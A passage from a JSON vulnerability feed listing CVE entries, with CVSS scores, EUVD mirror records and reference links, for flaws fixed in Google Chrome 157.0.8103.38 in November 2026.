authorization in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553154932"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:12","euvd":{"id":"EUVD-2026-116474","description":"Missing authorization in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:45","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553154932"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121076","summary":"Use after free in WebXR in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/578670966"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:12","euvd":{"id":"EUVD-2026-116437","description":"Use after free in WebXR in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:37","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/578670966"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121077","summary":"Use after free in Mobile in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/570026368"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:12","euvd":{"id":"EUVD-2026-116310","description":"Use after free in Mobile in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:52","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/570026368"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121064","summary":"Improper input validation in Performance in Google Chrome prior to 157.0.8103.38 allowed a local attacker to potentially execute arbitrary code inside the sandbox via a local program. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/570558711"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:11","euvd":{"id":"EUVD-2026-116367","description":"Improper input validation in Performance in Google Chrome prior to 157.0.8103.38 allowed a local attacker to potentially execute arbitrary code inside the sandbox via a local program. (Chromium security severity: Low)","published_time":"2026-11-03T20:43:02","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/570558711"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121065","summary":"Incorrect authorization in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562233597"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:11","euvd":{"id":"EUVD-2026-116482","description":"Incorrect authorization in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:46","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562233597"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121066","summary":"Incorrect authorization in Extensions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted Chrome extension. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/507351304"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:11","euvd":{"id":"EUVD-2026-116454","description":"Incorrect authorization in Extensions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted Chrome extension. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:41","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/507351304"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121067","summary":"UI misrepresentation in PermissionElement in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/565092623"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:11","euvd":{"id":"EUVD-2026-116289","description":"UI misrepresentation in PermissionElement in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:47","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/565092623"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121068","summary":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577327383"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:11","euvd":{"id":"EUVD-2026-116426","description":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:35","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577327383"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121069","summary":"Use after free in Track in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568371493"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:11","euvd":{"id":"EUVD-2026-116365","description":"Use after free in Track in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:43:02","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568371493"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121070","summary":"Use after free in WTF in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567611695"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:11","euvd":{"id":"EUVD-2026-116297","description":"Use after free in WTF in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:49","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567611695"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121054","summary":"Improper state validation in XML in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/565252325"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:10","euvd":{"id":"EUVD-2026-116356","description":"Improper state validation in XML in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:43:00","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/565252325"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121055","summary":"Incomplete cleanup in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions via a crafted Chrome extension. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553251045"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:10","euvd":{"id":"EUVD-2026-116333","description":"Incomplete cleanup in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions via a crafted Chrome extension. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:56","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553251045"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121057","summary":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574038247"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:10","euvd":{"id":"EUVD-2026-116407","description":"Type confusion in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:31","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574038247"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121059","summary":"Information leak in Core in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553652456"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:10","euvd":{"id":"EUVD-2026-116477","description":"Information leak in Core in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:45","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553652456"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121060","summary":"Incorrect authorization in FileSystem in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/578500839"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:10","euvd":{"id":"EUVD-2026-116436","description":"Incorrect authorization in FileSystem in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:37","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/578500839"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121061","summary":"Use after free in Modularization in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/576723181"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:10","euvd":{"id":"EUVD-2026-116423","description":"Use after free in Modularization in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:34","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/576723181"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121062","summary":"Incorrect authorization in API in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/496187630"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:10","euvd":{"id":"EUVD-2026-116447","description":"Incorrect authorization in API in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:39","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/496187630"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121063","summary":"Incorrect authorization in CacheStorage in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/499181801"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:10","euvd":{"id":"EUVD-2026-116449","description":"Incorrect authorization in CacheStorage in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to bypass site isolation via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:40","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/499181801"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121047","summary":"Buffer overflow in Media in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566251701"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:09","euvd":{"id":"EUVD-2026-116519","description":"Buffer overflow in Media in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:25","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566251701"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121048","summary":"Race condition in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567169222"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:09","euvd":{"id":"EUVD-2026-116296","description":"Race condition in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:49","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567169222"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121049","summary":"Out of bounds read in V8 in Google Chrome prior to 157.0.8103.38 allowed a local attacker to read memory via a crafted file. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/570104009"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:09","euvd":{"id":"EUVD-2026-116312","description":"Out of bounds read in V8 in Google Chrome prior to 157.0.8103.38 allowed a local attacker to read memory via a crafted file. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:52","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/570104009"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121050","summary":"Race condition in Mobile in Google Chrome on on iOS prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562964684"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:09","euvd":{"id":"EUVD-2026-116348","description":"Race condition in Mobile in Google Chrome on on iOS prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:59","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562964684"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121051","summary":"UI misrepresentation in iOSWeb in Google Chrome on on iOS prior to 157.0.8103.38 allowed a remote attacker to spoof address bar via a crafted HTML page. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568901837"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:09","euvd":{"id":"EUVD-2026-116390","description":"UI misrepresentation in iOSWeb in Google Chrome on on iOS prior to 157.0.8103.38 allowed a remote attacker to spoof address bar via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:28","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568901837"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121052","summary":"Use after free in GPU in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/569129173"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:09","euvd":{"id":"EUVD-2026-116393","description":"Use after free in GPU in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:29","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/569129173"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121053","summary":"UI misrepresentation in Transactions Platform in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/514074839"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:09","euvd":{"id":"EUVD-2026-116321","description":"UI misrepresentation in Transactions Platform in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:54","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/514074839"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121041","summary":"Missing authorization in Input in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567726222"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:08","euvd":{"id":"EUVD-2026-116362","description":"Missing authorization in Input in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:43:01","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567726222"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121042","summary":"Incorrect authorization in Permissions in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/569012366"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:08","euvd":{"id":"EUVD-2026-116308","description":"Incorrect authorization in Permissions in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:51","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/569012366"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121043","summary":"UI misrepresentation in Payments in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553171097"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:08","euvd":{"id":"EUVD-2026-116330","description":"UI misrepresentation in Payments in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:55","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553171097"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121044","summary":"Use after free in Layout in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: 